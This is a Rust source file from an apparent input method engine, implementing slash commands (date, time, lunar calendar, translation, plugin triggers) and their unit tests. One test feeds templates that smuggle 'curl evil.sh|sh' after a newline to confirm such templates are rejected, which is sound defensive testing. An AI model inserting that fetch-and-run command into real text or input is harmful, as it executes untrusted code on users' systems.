Skip to main content

msime_engine/local/
command.rs

1//! `/` mode: the built-in date, time, weekday and lunar date commands, whose rows are the date/time mode's, the translate command, and the command table the host supplies. Letters after `/` filter commands by trigger; a trigger typed out in full lists every reading of its command first. Templates are data: literal text and a closed set of clock placeholders, formatted by `time`, with nothing a table could use to reach anything else.
2//!
3//! `/fy hello'world` (typed `/fyhello'world`) is the one local input that may leave the machine: the words after the trigger are English for the user's translation service, through `translation_source`, and the answer comes back as a row of its own (`InputSession::apply_command_translation`). Until it does, and whenever no service answers, the row is the English as typed.
4
5use std::collections::HashSet;
6use time::format_description::parse_strftime_borrowed;
7use time::{Date, Month, PrimitiveDateTime, Time};
8
9use super::date_time::{query_date_time, LocalDateTime, WEEKDAYS};
10use crate::types::{CandidateSource, CommandTableEntry, PluginCommand, WordItem};
11
12/// Two pages of the nine-row Windows candidate window; typing more of a trigger narrows the list.
13pub const RESULT_LIMIT: usize = 18;
14const MAX_RESULT_LIMIT: usize = if super::date_time::RESULT_LIMIT > RESULT_LIMIT {
15    super::date_time::RESULT_LIMIT
16} else {
17    RESULT_LIMIT
18};
19/// Commands kept from a host table; the rest are ignored.
20pub const TABLE_LIMIT: usize = 256;
21pub const TRIGGER_LIMIT: usize = 32;
22/// The Windows candidate pipe's text field (`CandidateTextMaxLength` in `shared/contracts/ipc_protocol_limits.h`, the same bound as a quick phrase): a template, and the text it expands to, longer than this could not be delivered.
23pub const TEXT_UTF16_LIMIT: usize = 199;
24/// 插件触发词的长度:至少 2 个字母,免得占掉单个字母;最多 16 个。
25pub const PLUGIN_TRIGGER_LENGTH: std::ops::RangeInclusive<usize> = 2..=16;
26/// 插件指令标题的字符数。
27pub const PLUGIN_TITLE_CHARS: std::ops::RangeInclusive<usize> = 1..=8;
28// 短命令表直接扫描此前的触发词,避免为常见小表创建哈希状态。
29const SMALL_COMMAND_TABLE: usize = 64;
30
31const DEFAULT_DATE_FORMAT: &str = "%Y-%m-%d";
32const DEFAULT_TIME_FORMAT: &str = "%H:%M";
33
34/// The built-in commands: the date/time mode's keywords, the translate command, and the title shown beside their rows.
35const BUILTINS: [(&[&str], &str); 10] = [
36    (&["rq", "riqi", "date"], "日期"),
37    (&["sj", "shijian", "time"], "时间"),
38    (&["xq", "xingqi", "week"], "星期"),
39    (&["nl", "nongli", "yinli"], "农历"),
40    (&["jidu"], "季度"),
41    (&["tianshu"], "天数"),
42    (&["daojishi"], "倒计时"),
43    (&["zhou"], "周"),
44    (&["shengxiao", "shu"], "生肖"),
45    (TRANSLATE_TRIGGERS, "翻译"),
46];
47
48/// The translate command's triggers, longest first so `fanyi` is not read as `f` followed by text.
49const TRANSLATE_TRIGGERS: &[&str] = &["translate", "fanyi", "fy"];
50
51/// The English after a translate trigger, words split at `'` and joined by spaces, with the trigger that introduced it; `None` for any other input, for a trigger with nothing after it, and for input a table trigger begins with, which the user may still be typing as their own command. `table` must have gone through `usable_command_table`.
52pub fn translation_source(
53    code: &str,
54    table: &[CommandTableEntry],
55) -> Option<(&'static str, String)> {
56    if table.iter().any(|entry| entry.trigger.starts_with(code)) {
57        return None;
58    }
59    let trigger = TRANSLATE_TRIGGERS
60        .iter()
61        .find(|trigger| code.starts_with(**trigger))?;
62    let rest = &code[trigger.len()..];
63    if !rest
64        .bytes()
65        .all(|byte| byte.is_ascii_lowercase() || byte == b'\'')
66    {
67        return None;
68    }
69    let text = join_translation_words(rest);
70    (!text.is_empty()).then_some((trigger, text))
71}
72
73fn join_translation_words(rest: &str) -> String {
74    let mut text = String::with_capacity(rest.len());
75    let mut separator = false;
76    for byte in rest.bytes() {
77        if byte == b'\'' {
78            separator = !text.is_empty();
79        } else {
80            if separator {
81                text.push(' ');
82                separator = false;
83            }
84            text.push(char::from(byte));
85        }
86    }
87    text
88}
89
90/// Whether a translate command is being typed, so `'` separates its words rather than ending the mode.
91pub fn takes_word_separator(code: &str) -> bool {
92    TRANSLATE_TRIGGERS
93        .iter()
94        .any(|trigger| code.len() > trigger.len() && code.starts_with(trigger))
95        && code.ends_with(|letter: char| letter.is_ascii_lowercase())
96}
97
98/// The rows that are usable of a host table: valid triggers and templates, the first command of a trigger, at most `TABLE_LIMIT`.
99pub fn usable_command_table(table: &[CommandTableEntry]) -> Vec<CommandTableEntry> {
100    let mut usable = Vec::new();
101    if table.len() <= SMALL_COMMAND_TABLE {
102        for (index, entry) in table.iter().enumerate() {
103            if usable.len() == TABLE_LIMIT {
104                break;
105            }
106            if valid_trigger(&entry.trigger)
107                && trigger_is_new(table, index, &entry.trigger)
108                && fits(&entry.template)
109                && template_valid(&entry.template)
110            {
111                if usable.capacity() == 0 {
112                    usable.reserve_exact(TABLE_LIMIT.min(table.len()));
113                }
114                usable.push(entry.clone());
115            }
116        }
117        return usable;
118    }
119    let mut triggers = HashSet::new();
120    for entry in table {
121        if usable.len() == TABLE_LIMIT {
122            break;
123        }
124        let trigger_valid = valid_trigger(&entry.trigger);
125        if trigger_valid {
126            if triggers.capacity() == 0 {
127                triggers.reserve(TABLE_LIMIT.min(table.len()));
128            }
129            if triggers.insert(entry.trigger.as_str())
130                && fits(&entry.template)
131                && template_valid(&entry.template)
132            {
133                if usable.capacity() == 0 {
134                    usable.reserve_exact(TABLE_LIMIT.min(table.len()));
135                }
136                usable.push(entry.clone());
137            }
138        }
139    }
140    usable
141}
142
143fn valid_trigger(trigger: &str) -> bool {
144    (1..=TRIGGER_LIMIT).contains(&trigger.len())
145        && trigger.bytes().all(|byte| byte.is_ascii_lowercase())
146}
147
148fn trigger_is_new(table: &[CommandTableEntry], index: usize, trigger: &str) -> bool {
149    table[..index]
150        .iter()
151        .all(|entry| !valid_trigger(&entry.trigger) || entry.trigger != trigger)
152}
153
154/// `/` 后字母匹配的命令行,权重按顺序递减;日期完整命令保留全部格式,其他命令最多 `RESULT_LIMIT` 行。精确匹配在前,用户表在内置命令前,`pinyin` 保存触发词;`table` 必须先经过 `usable_command_table`。
155pub fn query_command(
156    code: &str,
157    now: &LocalDateTime,
158    table: &[CommandTableEntry],
159) -> Vec<WordItem> {
160    let clock = clock(now);
161    let limit = if BUILTINS[0].0.contains(&code) {
162        MAX_RESULT_LIMIT
163    } else {
164        RESULT_LIMIT
165    };
166    let mut rows: [Option<(String, String)>; MAX_RESULT_LIMIT] = std::array::from_fn(|_| None);
167    let mut row_count = 0;
168    let mut push = |trigger: &str, text: String| {
169        // 有界列表直接扫描,避免每次按键为去重再复制一份文本集合。
170        if row_count < limit
171            && fits(&text)
172            && !rows[..row_count]
173                .iter()
174                .flatten()
175                .any(|(_, existing)| existing == &text)
176        {
177            rows[row_count] = Some((trigger.to_owned(), text));
178            row_count += 1;
179        }
180    };
181    if let Some((trigger, text)) = translation_source(code, table) {
182        push(trigger, text);
183    }
184    for exact in [true, false] {
185        for entry in table {
186            if (entry.trigger == code) == exact && entry.trigger.starts_with(code) {
187                if let Some(text) = expand(&entry.template, clock.as_ref()) {
188                    push(&entry.trigger, text);
189                }
190            }
191        }
192        for (aliases, _) in BUILTINS {
193            if exact {
194                if aliases.contains(&code) {
195                    for row in query_date_time(code, now) {
196                        push(code, row.word.into_string());
197                    }
198                }
199            } else if !aliases.contains(&code) {
200                if let Some(alias) = aliases.iter().find(|alias| alias.starts_with(code)) {
201                    if let Some(row) = query_date_time(alias, now).into_iter().next() {
202                        push(alias, row.word.into_string());
203                    }
204                }
205            }
206        }
207    }
208    rows.into_iter()
209        .take(row_count)
210        .flatten()
211        .enumerate()
212        .map(|(index, (trigger, text))| {
213            WordItem::new(
214                trigger,
215                text,
216                (row_count - index) as i64,
217                CandidateSource::Generated,
218                "",
219            )
220        })
221        .collect()
222}
223
224/// The title shown beside a row of `trigger`.
225pub fn command_title<'a>(trigger: &str, table: &'a [CommandTableEntry]) -> Option<&'a str> {
226    if let Some(entry) = table.iter().find(|entry| entry.trigger == trigger) {
227        return Some(&entry.title);
228    }
229    BUILTINS
230        .iter()
231        .find(|(aliases, _)| aliases.contains(&trigger))
232        .map(|(_, title)| *title)
233}
234
235/// 内置指令的全部触发词(日期、时间、星期、农历和翻译)。插件触发词不能等于它们,也不能和它们互为前缀;client-services 校验插件清单时复制了一份,由一致性测试守着。
236pub fn builtin_triggers() -> impl Iterator<Item = &'static str> {
237    BUILTINS
238        .iter()
239        .flat_map(|(aliases, _)| aliases.iter().copied())
240}
241
242/// 内置指令的标题,同 [`builtin_triggers`] 一样由 client-services 复制一份。
243pub fn builtin_titles() -> impl Iterator<Item = &'static str> {
244    BUILTINS.iter().map(|(_, title)| *title)
245}
246
247/// `arguments = "extended"` 的插件指令在触发词后面另外收的运算符号;数字另算。和 script-runtime 的 `abi::EXTENDED_ARGUMENT_SYMBOLS` 是同一份,由 host-api 的一致性测试守着(引擎不依赖解释器)。
248pub const EXTENDED_ARGUMENT_SYMBOLS: &str = ".+-*/%()=,";
249
250/// 插件指令的参数合不合规:小写字母;`extended` 时另外可以有数字和 [`EXTENDED_ARGUMENT_SYMBOLS`]。
251pub fn valid_plugin_argument(argument: &str, extended: bool) -> bool {
252    argument
253        .bytes()
254        .all(|byte| byte.is_ascii_lowercase() || (extended && extended_argument_symbol(byte)))
255}
256
257/// 数字或 [`EXTENDED_ARGUMENT_SYMBOLS`] 里的一个:只有 `extended` 的指令在参数里收它们。
258pub fn extended_argument_symbol(byte: u8) -> bool {
259    byte.is_ascii_digit() || EXTENDED_ARGUMENT_SYMBOLS.as_bytes().contains(&byte)
260}
261
262/// `/` 之后的输入 `code` 已经完整打出了某条 `extended` 插件指令的触发词:之后的数字和运算符号是参数。`plugin` 必须先经过 [`usable_plugin_commands`]。
263pub fn extended_trigger_typed(code: &str, plugin: &[PluginCommand]) -> bool {
264    plugin
265        .iter()
266        .any(|command| command.extended && code.starts_with(command.trigger.as_str()))
267}
268
269/// 两个触发词相等或一个是另一个的前缀:用户打着其中一个时,分不清是在打哪一个。
270fn triggers_overlap(left: &str, right: &str) -> bool {
271    left.starts_with(right) || right.starts_with(left)
272}
273
274fn valid_plugin_trigger(trigger: &str) -> bool {
275    PLUGIN_TRIGGER_LENGTH.contains(&trigger.len())
276        && trigger.bytes().all(|byte| byte.is_ascii_lowercase())
277}
278
279fn valid_plugin_title(title: &str) -> bool {
280    PLUGIN_TITLE_CHARS.contains(&title.chars().count())
281        && !title.chars().any(char::is_control)
282        && title.trim() == title
283}
284
285/// 宿主交来的插件指令里引擎能用的那些,按原顺序:触发词是 2 到 16 个小写字母、标题是 1 到 8 个字符(不含控制字符,首尾不是空白),并且触发词不等于、也不和任何内置触发词、用户指令表的触发词、排在前面的插件触发词互为前缀。用户的指令表永远赢,插件之间先到先得。过滤之后任何两个生效的触发词都没有前缀关系,所以一段输入至多匹配一个。client-services 算有效触发词时,触发词用同一套规则;标题以这里为下限(只拒控制字符和首尾空白),client-services 可以更严。触发词重复时只留第一条合规的,它的标题就是行旁显示的标题(`CandidateQueries::plugin_command_title`)。`table` 必须先经过 `usable_command_table`。
286pub fn usable_plugin_commands(
287    table: &[CommandTableEntry],
288    plugin: &[PluginCommand],
289) -> Vec<PluginCommand> {
290    let mut usable: Vec<PluginCommand> = Vec::new();
291    for command in plugin {
292        let trigger = command.trigger.as_str();
293        if valid_plugin_trigger(trigger)
294            && valid_plugin_title(&command.title)
295            && !builtin_triggers().any(|builtin| triggers_overlap(trigger, builtin))
296            && !table
297                .iter()
298                .any(|entry| triggers_overlap(trigger, &entry.trigger))
299            && !usable
300                .iter()
301                .any(|earlier| triggers_overlap(trigger, &earlier.trigger))
302        {
303            usable.push(command.clone());
304        }
305    }
306    usable
307}
308
309/// `/` 之后的输入以某个插件触发词开头、剩下的是这条指令收的参数(小写字母;`extended` 的另外有数字和运算符号,见 [`valid_plugin_argument`])时,返回(触发词,参数),参数可以为空(`/uuid`)。`plugin` 必须先经过 [`usable_plugin_commands`],所以至多一个匹配,不需要最长匹配。
310pub fn plugin_command_source<'a, 'b>(
311    code: &'b str,
312    plugin: &'a [PluginCommand],
313) -> Option<(&'a str, &'b str)> {
314    let command = plugin
315        .iter()
316        .find(|command| code.starts_with(command.trigger.as_str()))?;
317    let argument = &code[command.trigger.len()..];
318    valid_plugin_argument(argument, command.extended)
319        .then_some((command.trigger.as_str(), argument))
320}
321
322fn fits(text: &str) -> bool {
323    text.encode_utf16().count() <= TEXT_UTF16_LIMIT
324}
325
326/// The wall clock as a `time` value, `None` for the zero clock a failed read leaves behind.
327fn clock(now: &LocalDateTime) -> Option<PrimitiveDateTime> {
328    let month = Month::try_from(u8::try_from(now.month).ok()?).ok()?;
329    let date = Date::from_calendar_date(now.year, month, u8::try_from(now.day).ok()?).ok()?;
330    let time = Time::from_hms(
331        u8::try_from(now.hour).ok()?,
332        u8::try_from(now.minute).ok()?,
333        u8::try_from(now.second).ok()?,
334    )
335    .ok()?;
336    Some(PrimitiveDateTime::new(date, time))
337}
338
339/// Whether every placeholder of the template is one `expand` knows, checked by expanding it against a fixed instant.
340fn template_valid(template: &str) -> bool {
341    expand(template, Some(&PrimitiveDateTime::MIN)).is_some()
342}
343
344/// The template with its placeholders replaced; `None` for a malformed template, for one that needs the clock when there is none, or for text with a control character. A candidate row shows one line, so a newline or tab (literal, or `%n`/`%t` in a format) would reach the application unseen: a line break in a terminal runs whatever follows it.
345fn expand(template: &str, clock: Option<&PrimitiveDateTime>) -> Option<String> {
346    let mut output = String::with_capacity(template.len());
347    let mut rest = template;
348    while let Some(open) = rest.find(['{', '}']) {
349        if rest.as_bytes()[open] == b'}' {
350            return None;
351        }
352        output.push_str(&rest[..open]);
353        let after = &rest[open + 1..];
354        let close = after.find(['{', '}'])?;
355        if after.as_bytes()[close] == b'{' {
356            return None;
357        }
358        let placeholder = &after[..close];
359        rest = &after[close + 1..];
360        if placeholder == "weekday" {
361            let clock = clock?;
362            output.push_str(WEEKDAYS[usize::from(clock.weekday().number_days_from_sunday())]);
363            continue;
364        }
365        let (name, format) = placeholder.split_once(':').unwrap_or((placeholder, ""));
366        let format = match (name, format) {
367            ("date", "") => DEFAULT_DATE_FORMAT,
368            ("time", "") => DEFAULT_TIME_FORMAT,
369            ("date" | "time", format) => format,
370            _ => return None,
371        };
372        let items = parse_strftime_borrowed(format).ok()?;
373        output.push_str(&clock?.format(&items).ok()?);
374    }
375    output.push_str(rest);
376    (!output.chars().any(char::is_control)).then_some(output)
377}
378
379#[cfg(test)]
380mod tests {
381    use super::*;
382
383    fn now() -> LocalDateTime {
384        LocalDateTime {
385            year: 2026,
386            month: 10,
387            day: 1,
388            weekday: 4,
389            hour: 9,
390            minute: 5,
391            second: 7,
392        }
393    }
394
395    fn entry(trigger: &str, title: &str, template: &str) -> CommandTableEntry {
396        CommandTableEntry {
397            trigger: trigger.to_owned(),
398            title: title.to_owned(),
399            template: template.to_owned(),
400        }
401    }
402
403    fn words(rows: &[WordItem]) -> Vec<&str> {
404        rows.iter().map(|row| row.word.as_str()).collect()
405    }
406
407    #[test]
408    fn an_unknown_command_does_not_allocate_a_row_buffer() {
409        let (rows, allocations) =
410            crate::ime::personal_rerank::allocations::count(|| query_command("zzzz", &now(), &[]));
411        assert!(rows.is_empty());
412        assert_eq!(allocations, 0);
413    }
414
415    #[test]
416    fn a_bare_slash_lists_one_reading_of_every_command() {
417        let table = usable_command_table(&[entry("sig", "签名", "张三 {date}")]);
418        let rows = query_command("", &now(), &table);
419        assert_eq!(
420            words(&rows),
421            [
422                "张三 2026-10-01",
423                "2026年10月1日",
424                "09:05",
425                "星期四",
426                "丙午年八月二十一日",
427                "2026年第4季度",
428                "已过273天/剩92天",
429                "已过39周/剩14周",
430                "马年"
431            ]
432        );
433        let triggers: Vec<&str> = rows.iter().map(|row| row.pinyin.as_str()).collect();
434        assert_eq!(
435            triggers,
436            [
437                "sig",
438                "rq",
439                "sj",
440                "xq",
441                "nl",
442                "jidu",
443                "tianshu",
444                "zhou",
445                "shengxiao"
446            ]
447        );
448        for (index, row) in rows.iter().enumerate() {
449            assert_eq!(row.source, CandidateSource::Generated);
450            assert_eq!(row.weight, (rows.len() - index) as i64);
451        }
452    }
453
454    #[test]
455    fn a_complete_builtin_trigger_lists_the_date_time_rows() {
456        let rows = query_command("rq", &now(), &[]);
457        assert_eq!(words(&rows), words(&query_date_time("rq", &now())));
458        assert_eq!(rows.len(), 20);
459        assert_eq!(rows[0].word, "2026年10月1日");
460        assert!(rows.iter().all(|row| row.pinyin == "rq"));
461        assert_eq!(query_command("week", &now(), &[])[0].word, "星期四");
462        let lunar = query_command("nongli", &now(), &[]);
463        assert_eq!(
464            words(&lunar),
465            [
466                "丙午年八月二十一日",
467                "丙午年八月二十一日 星期四",
468                "丙午年八月二十一日 周四"
469            ]
470        );
471        assert!(lunar.iter().all(|row| row.pinyin == "nongli"));
472        // 只打了开头几个字母时,农历命令也按前缀列出它的首行。
473        let partial = query_command("yin", &now(), &[]);
474        assert_eq!(words(&partial), ["丙午年八月二十一日"]);
475        assert_eq!(partial[0].pinyin, "yinli");
476    }
477
478    #[test]
479    fn templates_with_control_characters_are_dropped() {
480        let table = usable_command_table(&[
481            entry("sig", "签名", "张三\ncurl evil.sh|sh"),
482            entry("tab", "制表", "a\tb"),
483            entry("line", "换行", "张三 {date:%n}curl evil.sh|sh"),
484            entry("ok", "正常", "张三"),
485        ]);
486        assert_eq!(table.len(), 1);
487        assert_eq!(table[0].trigger, "ok");
488    }
489
490    #[test]
491    fn letters_filter_commands_by_trigger_prefix() {
492        let table = usable_command_table(&[
493            entry("sig", "签名", "张三"),
494            entry("sj", "时间", "覆盖"),
495            entry("addr", "地址", "北京市"),
496        ]);
497        // The table's own `sj` wins over the built-in one and is listed first as the exact match.
498        let rows = query_command("s", &now(), &table);
499        assert_eq!(words(&rows), ["张三", "覆盖", "09:05", "马年"]);
500        assert_eq!(words(&query_command("ad", &now(), &table)), ["北京市"]);
501        assert!(query_command("zz", &now(), &table).is_empty());
502    }
503
504    #[test]
505    fn templates_expand_the_clock_placeholders() {
506        let clock = clock(&now());
507        let clock = clock.as_ref();
508        assert_eq!(
509            expand("{date} {time} {weekday}", clock).as_deref(),
510            Some("2026-10-01 09:05 星期四")
511        );
512        assert_eq!(
513            expand("{date:%Y年%m月%d日}{time:%H:%M:%S}", clock).as_deref(),
514            Some("2026年10月01日09:05:07")
515        );
516        assert_eq!(expand("纯文本", clock).as_deref(), Some("纯文本"));
517        for template in [
518            "{clipboard}",
519            "a\nb",
520            "a\tb",
521            "a\u{1b}b",
522            "{date:%n}",
523            "{time:%t}",
524            "{date",
525            "date}",
526            "{{date}}",
527            "{date:%Q}",
528            "{time:%",
529        ] {
530            assert_eq!(expand(template, clock), None, "{template:?}");
531        }
532    }
533
534    #[test]
535    fn unusable_table_rows_are_dropped() {
536        let long = "字".repeat(TEXT_UTF16_LIMIT + 1);
537        let table = usable_command_table(&[
538            entry("", "空", "x"),
539            entry("Sig", "大写", "x"),
540            entry("s1", "数字", "x"),
541            entry(&"a".repeat(TRIGGER_LIMIT + 1), "太长", "x"),
542            entry("bad", "占位符", "{clipboard}"),
543            entry("big", "太长", &long),
544            entry("ok", "第一", "一"),
545            entry("ok", "第二", "二"),
546        ]);
547        assert_eq!(table, [entry("ok", "第一", "一")]);
548        let many: Vec<CommandTableEntry> = (0..TABLE_LIMIT + 10)
549            .map(|index| {
550                let trigger: String = format!("{index:04}")
551                    .bytes()
552                    .map(|digit| char::from(b'a' + digit - b'0'))
553                    .collect();
554                entry(&trigger, "t", "x")
555            })
556            .collect();
557        assert_eq!(usable_command_table(&many).len(), TABLE_LIMIT);
558    }
559
560    #[test]
561    fn usable_command_table_reserves_the_input_bound() {
562        let table = [
563            entry("a", "甲", "一"),
564            entry("b", "乙", "二"),
565            entry("c", "丙", "三"),
566        ];
567        assert_eq!(usable_command_table(&table).capacity(), table.len());
568    }
569
570    #[test]
571    fn all_invalid_command_rows_do_not_allocate_filter_state() {
572        let table: Vec<_> = (0..=SMALL_COMMAND_TABLE)
573            .map(|index| entry(&format!("Bad{index}"), "无效触发词", "文本"))
574            .collect();
575        let (usable, allocations) =
576            crate::ime::personal_rerank::allocations::count(|| usable_command_table(&table));
577        assert!(usable.is_empty());
578        assert_eq!(allocations, 0);
579    }
580
581    #[test]
582    fn short_command_table_trigger_scan_uses_no_temporary_heap_state() {
583        let table = vec![
584            entry("a", "无效模板", "{clipboard}"),
585            entry("b", "乙", "二"),
586            entry("c", "丙", "三"),
587        ];
588        let (is_new, allocations) =
589            crate::ime::personal_rerank::allocations::count(|| trigger_is_new(&table, 2, "c"));
590        assert!(is_new);
591        assert_eq!(allocations, 0);
592    }
593
594    #[test]
595    fn short_command_table_trigger_scan_keeps_invalid_templates_seen() {
596        let table = [
597            entry("dup", "无效模板", "{clipboard}"),
598            entry("dup", "有效", "二"),
599        ];
600        assert!(!trigger_is_new(&table, 1, "dup"));
601        assert_eq!(
602            usable_command_table(&table),
603            Vec::<CommandTableEntry>::new()
604        );
605    }
606
607    #[test]
608    fn a_command_needing_an_unreadable_clock_is_not_shown() {
609        let table =
610            usable_command_table(&[entry("d", "日期", "{date}"), entry("t", "文本", "文本")]);
611        let rows = query_command("", &LocalDateTime::default(), &table);
612        assert_eq!(rows[0].word, "文本");
613        // The built-in rows read the zero clock the way the date/time mode always has.
614        assert!(rows.iter().all(|row| row.pinyin != "d"), "{rows:?}");
615    }
616
617    #[test]
618    fn titles_come_from_the_table_then_the_builtins() {
619        let table = [entry("sig", "签名", "x")];
620        assert_eq!(command_title("sig", &table), Some("签名"));
621        assert_eq!(command_title("riqi", &table), Some("日期"));
622        assert_eq!(command_title("nl", &table), Some("农历"));
623        assert_eq!(command_title("fanyi", &table), Some("翻译"));
624        assert_eq!(command_title("nope", &table), None);
625    }
626
627    #[test]
628    fn the_translate_command_reads_english_after_its_trigger() {
629        let source = |code| translation_source(code, &[]);
630        assert_eq!(source("fyhello"), Some(("fy", "hello".to_owned())));
631        assert_eq!(
632            source("fy'hello''world'"),
633            Some(("fy", "hello world".to_owned()))
634        );
635        assert_eq!(source("fanyigood"), Some(("fanyi", "good".to_owned())));
636        assert_eq!(
637            source("translatecat"),
638            Some(("translate", "cat".to_owned()))
639        );
640        for code in ["", "f", "fy", "fy'", "fanyi", "translate", "rqx", "hello"] {
641            assert_eq!(source(code), None, "{code:?}");
642        }
643        // A table trigger the input begins is the user's own command, not text to send anywhere.
644        let table = usable_command_table(&[entry("fyz", "自定义", "x")]);
645        assert_eq!(translation_source("fyz", &table), None);
646        assert_eq!(translation_source("fy", &table), None);
647        assert_eq!(
648            translation_source("fyx", &table),
649            Some(("fy", "x".to_owned()))
650        );
651
652        assert!(takes_word_separator("fyhello"));
653        assert!(!takes_word_separator("fy"));
654        assert!(!takes_word_separator("fyhello'"));
655        assert!(!takes_word_separator("rqx"));
656    }
657
658    #[test]
659    fn the_translate_command_shows_the_english_until_a_translation_arrives() {
660        let rows = query_command("fyhello'world", &now(), &[]);
661        assert_eq!(words(&rows), ["hello world"]);
662        assert_eq!(rows[0].pinyin, "fy");
663        assert_eq!(rows[0].source, CandidateSource::Generated);
664        // The bare trigger and the bare `/` have no reading to show for it.
665        assert!(query_command("fy", &now(), &[]).is_empty());
666        assert!(query_command("", &now(), &[])
667            .iter()
668            .all(|row| !TRANSLATE_TRIGGERS.contains(&row.pinyin.as_str())));
669    }
670
671    #[test]
672    fn translation_words_join_without_empty_segments() {
673        assert_eq!(join_translation_words("'hello''world'"), "hello world");
674    }
675
676    fn plugin(trigger: &str, title: &str) -> PluginCommand {
677        PluginCommand {
678            trigger: trigger.to_owned(),
679            title: title.to_owned(),
680            extended: false,
681        }
682    }
683
684    #[test]
685    fn only_extended_commands_take_digits_and_operators_after_the_whole_trigger() {
686        let commands = [
687            PluginCommand {
688                extended: true,
689                ..plugin("calc", "计算")
690            },
691            plugin("uuid", "UUID"),
692        ];
693        assert_eq!(
694            plugin_command_source("calc1+2*(3)", &commands),
695            Some(("calc", "1+2*(3)"))
696        );
697        assert_eq!(
698            plugin_command_source("calcab", &commands),
699            Some(("calc", "ab"))
700        );
701        assert_eq!(plugin_command_source("calc", &commands), Some(("calc", "")));
702        assert_eq!(plugin_command_source("uuid4", &commands), None);
703        assert_eq!(plugin_command_source("calc1 2", &commands), None);
704        assert_eq!(plugin_command_source("calcA", &commands), None);
705        assert!(extended_trigger_typed("calc", &commands));
706        assert!(extended_trigger_typed("calc12", &commands));
707        assert!(!extended_trigger_typed("cal", &commands));
708        assert!(!extended_trigger_typed("uuid", &commands));
709        for byte in b"0123456789.+-*/%()=," {
710            assert!(extended_argument_symbol(*byte), "{}", char::from(*byte));
711        }
712        for byte in b"a'; _#" {
713            assert!(!extended_argument_symbol(*byte), "{}", char::from(*byte));
714        }
715    }
716
717    fn triggers(commands: &[PluginCommand]) -> Vec<&str> {
718        commands
719            .iter()
720            .map(|command| command.trigger.as_str())
721            .collect()
722    }
723
724    #[test]
725    fn builtin_triggers_and_titles_list_every_command() {
726        let all: Vec<&str> = builtin_triggers().collect();
727        assert_eq!(
728            all,
729            [
730                "rq",
731                "riqi",
732                "date",
733                "sj",
734                "shijian",
735                "time",
736                "xq",
737                "xingqi",
738                "week",
739                "nl",
740                "nongli",
741                "yinli",
742                "jidu",
743                "tianshu",
744                "daojishi",
745                "zhou",
746                "shengxiao",
747                "shu",
748                "translate",
749                "fanyi",
750                "fy"
751            ]
752        );
753        let titles: Vec<&str> = builtin_titles().collect();
754        assert_eq!(
755            titles,
756            [
757                "日期",
758                "时间",
759                "星期",
760                "农历",
761                "季度",
762                "天数",
763                "倒计时",
764                "周",
765                "生肖",
766                "翻译"
767            ]
768        );
769    }
770
771    #[test]
772    fn plugin_triggers_must_not_overlap_builtins_the_table_or_earlier_plugins() {
773        let table = usable_command_table(&[entry("uu", "我的", "x"), entry("sig", "签名", "x")]);
774        let usable = usable_plugin_commands(
775            &table,
776            &[
777                // 和内置触发词相等、内置是它的前缀、它是内置的前缀。
778                plugin("rq", "日期二"),
779                plugin("fyx", "翻译二"),
780                plugin("tim", "时间二"),
781                // 和用户指令表相等或互为前缀。
782                plugin("uuid", "UUID"),
783                plugin("si", "签"),
784                plugin("sig", "签名二"),
785                // 插件之间:先到先得,相等和互为前缀的后来者都丢掉。
786                plugin("cz", "拆字"),
787                plugin("czh", "拆字二"),
788                plugin("c", "单字母"),
789                plugin("cz", "重复"),
790                plugin("guid", "GUID"),
791                plugin("gu", "前缀"),
792                // 触发词不合规:太短、太长、大写、数字。
793                plugin("a", "短"),
794                plugin(&"q".repeat(17), "长"),
795                plugin("Abc", "大写"),
796                plugin("ab1", "数字"),
797                // 标题不合规:空、9 个字符、控制字符、首尾空白。
798                plugin("ka", ""),
799                plugin("kb", "一二三四五六七八九"),
800                plugin("kc", "a\nb"),
801                plugin("kd", " 空白"),
802                // 合规的边界:16 个字母、8 个字符。
803                plugin(&"p".repeat(16), "一二三四五六七八"),
804            ],
805        );
806        let sixteen = "p".repeat(16);
807        assert_eq!(triggers(&usable), ["cz", "guid", sixteen.as_str()]);
808        assert_eq!(usable[0].title, "拆字");
809    }
810
811    #[test]
812    fn plugin_commands_match_a_trigger_followed_by_letters() {
813        let usable = usable_plugin_commands(&[], &[plugin("uuid", "UUID"), plugin("cz", "拆字")]);
814        assert_eq!(plugin_command_source("uuid", &usable), Some(("uuid", "")));
815        assert_eq!(
816            plugin_command_source("czhuohuo", &usable),
817            Some(("cz", "huohuo"))
818        );
819        for code in ["", "u", "uui", "c", "zz", "czhuo'huo"] {
820            assert_eq!(plugin_command_source(code, &usable), None, "{code:?}");
821        }
822        assert_eq!(plugin_command_source("uuid", &[]), None);
823    }
824}